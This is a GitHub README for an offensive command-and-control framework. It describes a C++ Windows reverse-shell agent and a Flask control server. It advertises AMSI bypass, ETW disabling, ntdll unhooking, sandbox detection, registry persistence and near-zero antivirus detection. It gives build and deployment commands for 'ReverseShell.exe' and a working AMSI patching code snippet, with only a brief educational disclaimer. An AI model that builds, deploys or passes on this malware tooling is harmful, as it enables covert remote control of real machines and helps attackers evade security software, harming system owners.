🔴 Advanced C2 Framework

A professional-grade Command & Control framework for educational purposes

Features • Installation • Usage • Disclaimer

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🎯 Overview

Advanced C2 Framework is a full-stack offensive security project demonstrating modern red team techniques with advanced defense evasion capabilities.

⚠️ FOR EDUCATIONAL PURPOSES ONLY - Authorized security testing in controlled environments.

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✨ Features

🔹 Agent (C++)

• Advanced Evasion

  • AMSI (Antimalware Scan Interface) bypass
  • ETW (Event Tracing) disabling
  • Ntdll unhooking
  • Multi-layer sandbox detection

• Stealth Capabilities

  • Zero .NET dependencies (pure Win32 API)
  • Anti-acceleration sleep
  • Encrypted C2 communications
  • 0-2/72 VirusTotal detection rate

• Functionality

  • Stateful shell sessions
  • Remote command execution
  • Registry persistence
  • File operations

🔹 Server (Python + Flask)

• Real-time web interface
• Multi-agent management
• Interactive terminal
• WebSocket communication

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🛠️ Installation

Prerequisites

• MinGW-w64 (GCC) or Visual Studio
• Python 3.8+
• Git

Quick Start

# Clone repository
git clone https://github.com/sermikr0/AdvancedC2Framework.git
cd AdvancedC2Framework

# Install Python dependencies
pip install flask flask-socketio

# Build agent
g++ -O3 -s -static -mwindows src/main.cpp -o ReverseShell.exe -lws2_32 -lwininet -ladvapi32 -lshell32 -liphlpapi

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🚀 Usage

Start C2 Server

python c2_server_gui.py

Access: http://localhost:5000

Deploy Agent

.\ReverseShell.exe

Commands

whoami          # User information
hostname        # Computer name
dir C:\         # List directory
ipconfig        # Network info
persist         # Install persistence
exit            # Terminate

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📁 Project Structure

AdvancedC2Framework/
├── src/
│   ├── main.cpp              # Agent main
│   ├── evasion/
│   │   ├── amsi_bypass.cpp
│   │   ├── etw_bypass.cpp
│   │   └── unhook.cpp
│   ├── execution/
│   │   └── shell.cpp
│   ├── network/
│   │   ├── connection.cpp
│   │   └── encryption.cpp
│   └── persistence/
│       └── registry.cpp
├── include/
│   ├── common.h
│   └── stealth.h
├── templates/
│   └── index.html            # Web GUI
├── c2_server_gui.py
└── README.md

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🔬 Technical Details

Evasion Techniques

AMSI Bypass

// Patches AmsiScanBuffer to return AMSI_RESULT_NOT_DETECTED
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
VirtualProtect(pAmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pAmsiScanBuffer, patch, sizeof(patch));

Sandbox Detection

• CPU core count (< 2)
• RAM size (< 4GB)
• Disk size (< 60GB)
• Mouse movement
• VM process detection

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🎓 Educational Value

This project demonstrates:

• Windows internals & API programming
• Offensive security techniques
• Network protocol design
• Full-stack development
• Memory manipulation
• Defense evasion methods

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⚠️ Legal Disclaimer

FOR EDUCATIONAL PURPOSES ONLY

✅ Authorized Use

• Authorized penetration testing
• Personal lab environments
• Security research
• Training exercises

❌ Prohibited

• Unauthorized system access
• Malicious activities
• Illegal operations
• Violation of laws

The author assumes NO LIABILITY for misuse. Users are solely responsible for legal compliance.

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🛡️ Detection & Defense

Detection Methods

• Signature-based AV
• Behavioral analysis (EDR)
• Network monitoring
• Memory scanning

Defenses

• Enable Windows Defender
• Deploy EDR solutions
• Network segmentation
• Application whitelisting

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🤝 Contributing

Contributions welcome for educational improvements:

1. Fork repository
2. Create feature branch
3. Commit changes
4. Push and open PR

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📚 References

• Windows API Documentation
• MITRE ATT&CK Framework
• Offensive Security Materials
• Red Team Tactics

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📞 Contact

Author: Saidakbarxon Maxsudxonov
GitHub: @sermikr0
Purpose: Educational security research
Telegram: @sermiikro

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📄 License

Educational License - See project for details

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⚠️ Use this knowledge to defend, not to attack ⚠️

Ethical security research only Fully updated soon